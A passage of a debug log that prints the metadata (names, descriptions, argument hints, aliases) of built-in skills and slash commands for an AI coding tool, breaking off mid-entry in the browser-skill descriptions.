image/PNG you will render and upload, or a chart shared into Slack. Read it BEFORE writing the first line of chart code, choosing chart colors, building a stat tile / meter / KPI row, or laying out a dashboard. When the destination is a first-party document connector (host-designated, never self-described) that renders live charts, hand it the rows (inline, or as an uploaded data file the chart cites) rather than a rendered PNG/SVG \u2014 a picture of a chart loses hover, data inspection and per-value comments. Produces visualizations that read as one system \u2014 elegant, accessible, consistent in light and dark \u2014 using a brand-neutral placeholder palette you swap for your own. Teaches a design-system-agnostic method: a form heuristic, a color formula with a runnable validator, mark specs, and interaction rules. A validated default palette is documented in `references/palette.md` \u2014 swap that file's values for your brand's. Triggers on: \\\"chart\\\", \\\"graph\\\", \\\"plot\\\", \\\"data viz\\\", \\\"visualization\\\", \\\"dashboard\\\", \\\"analytics\\\", \\\"visualize data\\\", \\\"categorical colors\\\", \\\"sequential / diverging palette\\\", \\\"stat tile\\\", \\\"sparkline\\\", \\\"heatmap\\\", \\\"legend\\\", \\\"axis\\\", \\\"tooltip\\\", \\\"chart colors\\\", \\\"color by series\\\".\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"argumentHint\": \"\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"builtin\": true\n[2026-09-29T07:43:31.321Z] [INFO]     },\n[2026-09-29T07:43:31.321Z] [INFO]     {\n[2026-09-29T07:43:31.321Z] [INFO]       \"name\": \"update-config\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"description\": \"Use this skill to configure the Claude Code harness via settings.json. Automated behaviors (\\\"from now on when X\\\", \\\"each time X\\\", \\\"whenever X\\\", \\\"before/after X\\\") require hooks configured in settings.json - the harness executes these, not Claude, so memory/preferences cannot fulfill them. Also use for: permissions (\\\"allow X\\\", \\\"add permission\\\", \\\"move permission to\\\"), env vars (\\\"set X=Y\\\"), hook troubleshooting, or any changes to settings.json/settings.local.json files. Examples: \\\"allow npm commands\\\", \\\"add bq permission to global settings\\\", \\\"move permission to user settings\\\", \\\"set DEBUG=true\\\", \\\"when claude stops show X\\\". For simple settings like theme/model, suggest the /config command.\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"argumentHint\": \"\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"builtin\": true\n[2026-09-29T07:43:31.321Z] [INFO]     },\n[2026-09-29T07:43:31.321Z] [INFO]     {\n[2026-09-29T07:43:31.321Z] [INFO]       \"name\": \"verify\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"description\": \"Verify that a code change actually does what it's supposed to by exercising it end-to-end and observing behavior \u2014 drive the affected flow, not just tests or typecheck. Run before committing nontrivial changes; bootstraps this repo's project verify skill if none exists yet. Don't invoke it on a diff that only touches tests, docs, or other code with no runtime surface to drive (a change to product source always has one) \u2014 there's nothing to observe.\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"argumentHint\": \"\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"builtin\": true\n[2026-09-29T07:43:31.321Z] [INFO]     },\n[2026-09-29T07:43:31.321Z] [INFO]     {\n[2026-09-29T07:43:31.321Z] [INFO]       \"name\": \"debug\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"description\": \"Enable debug logging for this session and help diagnose issues\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"argumentHint\": \"[issue description]\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"builtin\": true\n[2026-09-29T07:43:31.321Z] [INFO]     },\n[2026-09-29T07:43:31.321Z] [INFO]     {\n[2026-09-29T07:43:31.321Z] [INFO]       \"name\": \"code-review\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"description\": \"Review the current diff, or a PR number/branch/path target, for correctness bugs (plus reuse/simplification/efficiency cleanups where the model's review recipe covers them) at the given effort level (low/medium: fewer, high-confidence findings; high\u2192max: broader coverage, may include uncertain findings; ultra: deep multi-agent review in the cloud); with no level given, it reuses the level you typed last. Pass --comment to post findings as inline PR comments, or --fix to apply the findings to the working tree after the review. For ultra on a GitHub.com PR target, --post asks to post the finished review\u2019s findings to the PR as a single comment from the user\u2019s GitHub account (not a review; the launch dialog still confirms in interactive sessions, while non-interactive mode posts on the flag alone) and --no-post hides that option.\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"argumentHint\": \"[low|medium|high|xhigh|max|ultra] [--fix] [--comment] [||]\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"aliases\": [\n[2026-09-29T07:43:31.321Z] [INFO]         \"review\"\n[2026-09-29T07:43:31.321Z] [INFO]       ],\n[2026-09-29T07:43:31.321Z] [INFO]       \"builtin\": true\n[2026-09-29T07:43:31.321Z] [INFO]     },\n[2026-09-29T07:43:31.321Z] [INFO]     {\n[2026-09-29T07:43:31.321Z] [INFO]       \"name\": \"simplify\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"description\": \"Review the changed code for reuse, simplification, efficiency, and altitude cleanups, then apply the fixes. Quality only \u2014 it does not hunt for bugs; use /code-review for that.\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"argumentHint\": \"[]\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"builtin\": true\n[2026-09-29T07:43:31.321Z] [INFO]     },\n[2026-09-29T07:43:31.321Z] [INFO]     {\n[2026-09-29T07:43:31.321Z] [INFO]       \"name\": \"batch\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"description\": \"Research and plan a large-scale change, then execute it in parallel across 5\u201330 isolated worktree agents that each open a PR.\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"argumentHint\": \"\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"builtin\": true\n[2026-09-29T07:43:31.321Z] [INFO]     },\n[2026-09-29T07:43:31.321Z] [INFO]     {\n[2026-09-29T07:43:31.321Z] [INFO]       \"name\": \"fewer-permission-prompts\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"description\": \"Scan your transcripts for common read-only Bash and MCP tool calls, then add a prioritized allowlist to project .claude/settings.json to reduce permission prompts.\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"argumentHint\": \"\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"builtin\": true\n[2026-09-29T07:43:31.321Z] [INFO]     },\n[2026-09-29T07:43:31.321Z] [INFO]     {\n[2026-09-29T07:43:31.321Z] [INFO]       \"name\": \"doctor\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"description\": \"Health-check the user's Claude Code setup and fix issues: diagnose installation health \u2014 what the `claude doctor` terminal diagnostics cover \u2014 from local data (duplicate or leftover installs, PATH, unparseable settings files, broken or colliding agent definitions, skills whose frontmatter fails to parse); find unused skills, MCP servers, and plugins versus their context cost and disable dead weight; deduplicate local CLAUDE.md files against checked-in ones; trim checked-in CLAUDE.md files by cutting content a session could derive from the codebase (directory layouts, tech-stack lists, architecture overviews) while keeping gotchas, rationale, and non-standard conventions; migrate always-loaded CLAUDE.md guidance into lazy skills and nested CLAUDE.md files; flag slow hooks and context-heavy extensions; check the installed version is current; make auto mode the default permission mode; and pre-approve frequently denied read-only commands. Use when the user asks for a doctor run, checkup, audit, tune-up, or cleanup of their Claude Code setup or configuration.\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"argumentHint\": \"[prompt-audit []]\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"aliases\": [\n[2026-09-29T07:43:31.321Z] [INFO]         \"checkup\"\n[2026-09-29T07:43:31.321Z] [INFO]       ],\n[2026-09-29T07:43:31.321Z] [INFO]       \"builtin\": true\n[2026-09-29T07:43:31.321Z] [INFO]     },\n[2026-09-29T07:43:31.321Z] [INFO]     {\n[2026-09-29T07:43:31.321Z] [INFO]       \"name\": \"schedule\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"description\": \"Create, update, list, or run scheduled cloud agents (routines) that execute on a cron schedule.\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"argumentHint\": \"\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"aliases\": [\n[2026-09-29T07:43:31.321Z] [INFO]         \"routines\"\n[2026-09-29T07:43:31.321Z] [INFO]       ],\n[2026-09-29T07:43:31.321Z] [INFO]       \"builtin\": true\n[2026-09-29T07:43:31.321Z] [INFO]     },\n[2026-09-29T07:43:31.321Z] [INFO]     {\n[2026-09-29T07:43:31.321Z] [INFO]       \"name\": \"claude-api\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"description\": \"Reference for the Claude API / Anthropic SDK \u2014 model ids, pricing, params, streaming, tool use, MCP, agents, caching, token counting, model migration.\\nTRIGGER \u2014 read BEFORE opening the target file; don't skip because it \\\"looks like a one-liner\\\" \u2014 whenever: the prompt names Claude/Anthropic in any form (Claude, Anthropic, Fable, Opus, Sonnet, Haiku, `anthropic`, `@anthropic-ai`, `claude-*`, `us.anthropic.*`, `[1m]`); the user asks about an LLM (pricing/model choice/limits/caching) \u2014 never answer from memory; OR the task is LLM-shaped with provider unstated (agent/MCP/tool-definition/multi-agent/RAG/LLM-judge/computer-use; generate/summarize/extract/classify/rewrite/converse over NL; debugging refusals/cutoffs/streaming/tool-calls/tokens).\\nSKIP only when another provider is being worked on (overrides all triggers): OpenAI/GPT/Gemini/Llama/Mistral/Cohere/Ollama named in the query; OR `grep -rE 'openai|langchain_openai|google.generativeai|genai|mistralai|cohere|ollama'` over the project hits (run this grep FIRST if no provider named \u2014 don't Read the file).\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"argumentHint\": \"\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"builtin\": true\n[2026-09-29T07:43:31.321Z] [INFO]     },\n[2026-09-29T07:43:31.321Z] [INFO]     {\n[2026-09-29T07:43:31.321Z] [INFO]       \"name\": \"workflow-authoring\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"description\": \"Reference for writing a Workflow tool script (script API and gotchas, resume, quality patterns, worked examples). Load before authoring a script for a workflow the user already opted into; it does not itself authorize running one.\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"argumentHint\": \"\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"builtin\": true\n[2026-09-29T07:43:31.321Z] [INFO]     },\n[2026-09-29T07:43:31.321Z] [INFO]     {\n[2026-09-29T07:43:31.321Z] [INFO]       \"name\": \"run\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"description\": \"Launch and drive this project's app to see a change working. Use when asked to run, start, or screenshot the app, or to confirm a change works in the real app (not just tests). First looks for a project skill that already covers launching the app; otherwise falls back to built-in patterns per project type (CLI, server, TUI, Electron, browser-driven, library).\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"argumentHint\": \"\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"builtin\": true\n[2026-09-29T07:43:31.321Z] [INFO]     },\n[2026-09-29T07:43:31.321Z] [INFO]     {\n[2026-09-29T07:43:31.321Z] [INFO]       \"name\": \"run-skill-generator\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"description\": \"Author or improve the run- skill - a per-project skill that tells agents how to build, launch, and drive this project's app. Use when the user asks to set up the project, get it running, write run instructions, or verify build/run steps work from a clean environment.\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"argumentHint\": \"\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"builtin\": true\n[2026-09-29T07:43:31.321Z] [INFO]     },\n[2026-09-29T07:43:31.321Z] [INFO]     {\n[2026-09-29T07:43:31.321Z] [INFO]       \"name\": \"advisor\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"description\": \"Let Claude consult a stronger model at key moments\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"argumentHint\": \"[fable|opus|sonnet|off]\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"builtin\": true\n[2026-09-29T07:43:31.321Z] [INFO]     },\n[2026-09-29T07:43:31.321Z] [INFO]     {\n[2026-09-29T07:43:31.321Z] [INFO]       \"name\": \"agents\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"description\": \"(removed) Ask Claude to create/manage subagents, or edit .claude/agents/\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"argumentHint\": \"\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"builtin\": true\n[2026-09-29T07:43:31.321Z] [INFO]     },\n[2026-09-29T07:43:31.321Z] [INFO]     {\n[2026-09-29T07:43:31.321Z] [INFO]       \"name\": \"auto-mode-setup\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"description\": \"Teach auto mode about your environment, plus optional rule tweaks\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"argumentHint\": \"[--request-id ] (--wizard posture=\u2026 scope=\u2026 depth=\u2026 --propose | --expect-sha256 <64-hex> --apply-file )\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"builtin\": true\n[2026-09-29T07:43:31.321Z] [INFO]     },\n[2026-09-29T07:43:31.321Z] [INFO]     {\n[2026-09-29T07:43:31.321Z] [INFO]       \"name\": \"autocompact\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"description\": \"Configure the auto-compact window size\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"argumentHint\": \"[auto|]\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"builtin\": true\n[2026-09-29T07:43:31.321Z] [INFO]     },\n[2026-09-29T07:43:31.321Z] [INFO]     {\n[2026-09-29T07:43:31.321Z] [INFO]       \"name\": \"clear\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"description\": \"Start a new session with empty context; previous session stays on disk (resumable with /resume)\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"argumentHint\": \"[name]\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"aliases\": [\n[2026-09-29T07:43:31.321Z] [INFO]         \"reset\",\n[2026-09-29T07:43:31.321Z] [INFO]         \"new\"\n[2026-09-29T07:43:31.321Z] [INFO]       ],\n[2026-09-29T07:43:31.321Z] [INFO]       \"builtin\": true\n[2026-09-29T07:43:31.321Z] [INFO]     },\n[2026-09-29T07:43:31.321Z] [INFO]     {\n[2026-09-29T07:43:31.321Z] [INFO]       \"name\": \"color\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"description\": \"Set the prompt bar color for this session\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"argumentHint\": \"[red|blue|green|yellow|purple|orange|pink|cyan|default]\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"builtin\": true\n[2026-09-29T07:43:31.321Z] [INFO]     },\n[2026-09-29T07:43:31.321Z] [INFO]     {\n[2026-09-29T07:43:31.321Z] [INFO]       \"name\": \"compact\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"description\": \"Free up context by summarizing the conversation so far\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"argumentHint\": \"\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"builtin\": true\n[2026-09-29T07:43:31.321Z] [INFO]     },\n[2026-09-29T07:43:31.321Z] [INFO]     {\n[2026-09-29T07:43:31.321Z] [INFO]       \"name\": \"config\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"description\": \"Set a setting by key\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"argumentHint\": \"key=value\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"aliases\": [\n[2026-09-29T07:43:31.321Z] [INFO]         \"settings\"\n[2026-09-29T07:43:31.321Z] [INFO]       ],\n[2026-09-29T07:43:31.321Z] [INFO]       \"builtin\": true\n[2026-09-29T07:43:31.321Z] [INFO]     },\n[2026-09-29T07:43:31.321Z] [INFO]     {\n[2026-09-29T07:43:31.321Z] [INFO]       \"name\": \"output-style\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"description\": \"List output styles or switch to one\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"argumentHint\": \"[style]\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"builtin\": true\n[2026-09-29T07:43:31.321Z] [INFO]     },\n[2026-09-29T07:43:31.321Z] [INFO]     {\n[2026-09-29T07:43:31.321Z] [INFO]       \"name\": \"context\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"description\": \"Show current context usage\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"argumentHint\": \"\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"builtin\": true\n[2026-09-29T07:43:31.321Z] [INFO]     },\n[2026-09-29T07:43:31.321Z] [INFO]     {\n[2026-09-29T07:43:31.321Z] [INFO]       \"name\": \"effort\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"description\": \"Set effort level for model usage\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"argumentHint\": \"\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"builtin\": true\n[2026-09-29T07:43:31.321Z] [INFO]     },\n[2026-09-29T07:43:31.321Z] [INFO]     {\n[2026-09-29T07:43:31.321Z] [INFO]       \"name\": \"fast\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"description\": \"Toggle fast mode (Opus 5.5)\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"argumentHint\": \"[on|off]\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"builtin\": true\n[2026-09-29T07:43:31.321Z] [INFO]     },\n[2026-09-29T07:43:31.321Z] [INFO]     {\n[2026-09-29T07:43:31.321Z] [INFO]       \"name\": \"focus\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"description\": \"Toggle focus view: just your prompt, summary, and response\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"argumentHint\": \"[on|off]\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"builtin\": true\n[2026-09-29T07:43:31.321Z] [INFO]     },\n[2026-09-29T07:43:31.321Z] [INFO]     {\n[2026-09-29T07:43:31.321Z] [INFO]       \"name\": \"heapdump\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"description\": \"Dump the JS heap to the Desktop; on Linux with no Desktop folder, the home directory\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"argumentHint\": \"\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"builtin\": true\n[2026-09-29T07:43:31.321Z] [INFO]     },\n[2026-09-29T07:43:31.321Z] [INFO]     {\n[2026-09-29T07:43:31.321Z] [INFO]       \"name\": \"init\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"description\": \"Initialize a new CLAUDE.md file with codebase documentation\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"argumentHint\": \"\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"builtin\": true\n[2026-09-29T07:43:31.321Z] [INFO]     },\n[2026-09-29T07:43:31.321Z] [INFO]     {\n[2026-09-29T07:43:31.321Z] [INFO]       \"name\": \"mcp\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"description\": \"Manage MCP servers\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"argumentHint\": \"[reconnect|enable|disable [|all]]\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"builtin\": true\n[2026-09-29T07:43:31.321Z] [INFO]     },\n[2026-09-29T07:43:31.321Z] [INFO]     {\n[2026-09-29T07:43:31.321Z] [INFO]       \"name\": \"import\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"description\": \"Import config from another AI coding agent\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"argumentHint\": \"\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"builtin\": true\n[2026-09-29T07:43:31.321Z] [INFO]     },\n[2026-09-29T07:43:31.321Z] [INFO]     {\n[2026-09-29T07:43:31.321Z] [INFO]       \"name\": \"model\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"description\": \"Set the AI model for Claude Code\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"argumentHint\": \"\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"builtin\": true\n[2026-09-29T07:43:31.321Z] [INFO]     },\n[2026-09-29T07:43:31.321Z] [INFO]     {\n[2026-09-29T07:43:31.321Z] [INFO]       \"name\": \"__remote-workflow\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"description\": \"Run the workflow script delivered in this session environment (server-launched sessions only)\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"argumentHint\": \"\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"builtin\": true\n[2026-09-29T07:43:31.321Z] [INFO]     },\n[2026-09-29T07:43:31.321Z] [INFO]     {\n[2026-09-29T07:43:31.321Z] [INFO]       \"name\": \"workflow-launch-exec\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"description\": \"Execute a server-launched workflow handoff (workflow_launch event sessions only)\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"argumentHint\": \"\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"builtin\": true\n[2026-09-29T07:43:31.321Z] [INFO]     },\n[2026-09-29T07:43:31.321Z] [INFO]     {\n[2026-09-29T07:43:31.321Z] [INFO]       \"name\": \"reload-plugins\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"description\": \"Activate pending plugin changes in the current session\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"argumentHint\": \"[--force]\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"builtin\": true\n[2026-09-29T07:43:31.321Z] [INFO]     },\n[2026-09-29T07:43:31.321Z] [INFO]     {\n[2026-09-29T07:43:31.321Z] [INFO]       \"name\": \"reload-skills\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"description\": \"Pick up skills added or changed on disk during this session\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"argumentHint\": \"\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"builtin\": true\n[2026-09-29T07:43:31.321Z] [INFO]     },\n[2026-09-29T07:43:31.321Z] [INFO]     {\n[2026-09-29T07:43:31.321Z] [INFO]       \"name\": \"rename\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"description\": \"Rename the current conversation\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"argumentHint\": \"[name]\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"aliases\": [\n[2026-09-29T07:43:31.321Z] [INFO]         \"name\"\n[2026-09-29T07:43:31.321Z] [INFO]       ],\n[2026-09-29T07:43:31.321Z] [INFO]       \"builtin\": true\n[2026-09-29T07:43:31.321Z] [INFO]     },\n[2026-09-29T07:43:31.321Z] [INFO]     {\n[2026-09-29T07:43:31.321Z] [INFO]       \"name\": \"ultrareview\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"description\": \"Start a cloud agent that finds and verifies bugs in your branch (~15-25 min, $5-$25 USD) \u00b7 Runs in a cloud session. See https://code.claude.com/docs/en/claude-code-on-the-web\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"argumentHint\": \"\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"builtin\": true\n[2026-09-29T07:43:31.321Z] [INFO]     },\n[2026-09-29T07:43:31.321Z] [INFO]     {\n[2026-09-29T07:43:31.321Z] [INFO]       \"name\": \"security-review\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"description\": \"Complete a security review of the pending changes on the current branch\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"argumentHint\": \"\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"builtin\": true\n[2026-09-29T07:43:31.321Z] [INFO]     },\n[2026-09-29T07:43:31.321Z] [INFO]     {\n[2026-09-29T07:43:31.321Z] [INFO]       \"name\": \"usage-credits\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"description\": \"Configure usage credits or request them from your admin when you hit a limit\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"argumentHint\": \"\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"builtin\": true\n[2026-09-29T07:43:31.321Z] [INFO]     },\n[2026-09-29T07:43:31.321Z] [INFO]     {\n[2026-09-29T07:43:31.321Z] [INFO]       \"name\": \"extra-usage\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"description\": \"Renamed to /usage-credits\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"argumentHint\": \"\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"builtin\": true\n[2026-09-29T07:43:31.321Z] [INFO]     },\n[2026-09-29T07:43:31.321Z] [INFO]     {\n[2026-09-29T07:43:31.321Z] [INFO]       \"name\": \"usage\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"description\": \"Show session cost, plan usage, and what's contributing to your limits\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"argumentHint\": \"\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"aliases\": [\n[2026-09-29T07:43:31.321Z] [INFO]         \"cost\",\n[2026-09-29T07:43:31.321Z] [INFO]         \"stats\"\n[2026-09-29T07:43:31.321Z] [INFO]       ],\n[2026-09-29T07:43:31.321Z] [INFO]       \"builtin\": true\n[2026-09-29T07:43:31.321Z] [INFO]     },\n[2026-09-29T07:43:31.321Z] [INFO]     {\n[2026-09-29T07:43:31.321Z] [INFO]       \"name\": \"insights\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"description\": \"Generate a report analyzing your Claude Code sessions\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"argumentHint\": \"\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"builtin\": true\n[2026-09-29T07:43:31.321Z] [INFO]     },\n[2026-09-29T07:43:31.321Z] [INFO]     {\n[2026-09-29T07:43:31.321Z] [INFO]       \"name\": \"recap\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"description\": \"Generate a one-line session recap now\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"argumentHint\": \"\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"builtin\": true\n[2026-09-29T07:43:31.321Z] [INFO]     },\n[2026-09-29T07:43:31.321Z] [INFO]     {\n[2026-09-29T07:43:31.321Z] [INFO]       \"name\": \"skill-doctor\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"description\": \"Show which loaded skills are unused and costing context\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"argumentHint\": \"\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"builtin\": true\n[2026-09-29T07:43:31.321Z] [INFO]     },\n[2026-09-29T07:43:31.321Z] [INFO]     {\n[2026-09-29T07:43:31.321Z] [INFO]       \"name\": \"goal\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"description\": \"Set a goal \u2014 keep working until the condition is met\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"argumentHint\": \"\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"builtin\": true\n[2026-09-29T07:43:31.321Z] [INFO]     },\n[2026-09-29T07:43:31.321Z] [INFO]     {\n[2026-09-29T07:43:31.321Z] [INFO]       \"name\": \"design-consent\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"description\": \"Grant Claude agent access to your Design projects\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"argumentHint\": \"\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"builtin\": true\n[2026-09-29T07:43:31.321Z] [INFO]     },\n[2026-09-29T07:43:31.321Z] [INFO]     {\n[2026-09-29T07:43:31.321Z] [INFO]       \"name\": \"design-revoke\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"description\": \"Revoke Claude agent access to your Design projects\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"argumentHint\": \"\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"builtin\": true\n[2026-09-29T07:43:31.321Z] [INFO]     },\n[2026-09-29T07:43:31.321Z] [INFO]     {\n[2026-09-29T07:43:31.321Z] [INFO]       \"name\": \"list-agents\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"description\": \"List subagents, teammates, and other Claude sessions you can message\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"argumentHint\": \"\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"aliases\": [\n[2026-09-29T07:43:31.321Z] [INFO]         \"peers\"\n[2026-09-29T07:43:31.321Z] [INFO]       ],\n[2026-09-29T07:43:31.321Z] [INFO]       \"builtin\": true\n[2026-09-29T07:43:31.321Z] [INFO]     },\n[2026-09-29T07:43:31.321Z] [INFO]     {\n[2026-09-29T07:43:31.321Z] [INFO]       \"name\": \"team-onboarding\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"description\": \"Help teammates ramp on Claude Code with a guide from your usage\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"argumentHint\": \"\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"builtin\": true\n[2026-09-29T07:43:31.321Z] [INFO]     },\n[2026-09-29T07:43:31.321Z] [INFO]     {\n[2026-09-29T07:43:31.321Z] [INFO]       \"name\": \"built-in-browser\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"description\": \"Read this skill before the first step that uses the built-in browser, the browser pane inside the Claude desktop app (also called the in-app browser, the browser pane, Claude's browser, or \\\"your own browser\\\"), whose tools are named mcp__Claude_Browser__* when the session runs in the desktop app and mcp__remote-devices__Claude_Browser__* when a cloud session is linked to the person's computer; before those tools are turned on there may be a single enable__mcp__remote-devices__Claude_Browser tool instead. It covers the pane's persistent sign-ins, tabs and preview_start, reading pages as text, site approvals, what the pane cannot open, and what to do when it cannot be reached. It is not for Claude in Chrome (mcp__claude-in-chrome__* tools), which has its own skill, and it does not decide which browser to use. (claude.ai sync)\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"argumentHint\": \"\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"aliases\": [\n[2026-09-29T07:43:31.321Z] [INFO]         \"anthropic-skills:built-in-browser\"\n[2026-09-29T07:43:31.321Z] [INFO]       ]\n[2026-09-29T07:43:31.321Z] [INFO]     },\n[2026-09-29T07:43:31.321Z] [INFO]     {\n[2026-09-29T07:43:31.321Z] [INFO]       \"name\": \"chrome-browser\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"description\": \"Read this skill before the first step that uses Claude in Chrome, the browser extension whose tools are named mcp__claude-in-chrome__* (also called Chrome, the browser extension, or the external browser) and which acts in the person's real Chrome with their own sign-ins; before those tools are turned on there may be a single enable__mcp__claude-in-chrome tool instead. It covers loading the tools in one ToolSearch call, checking the person's open 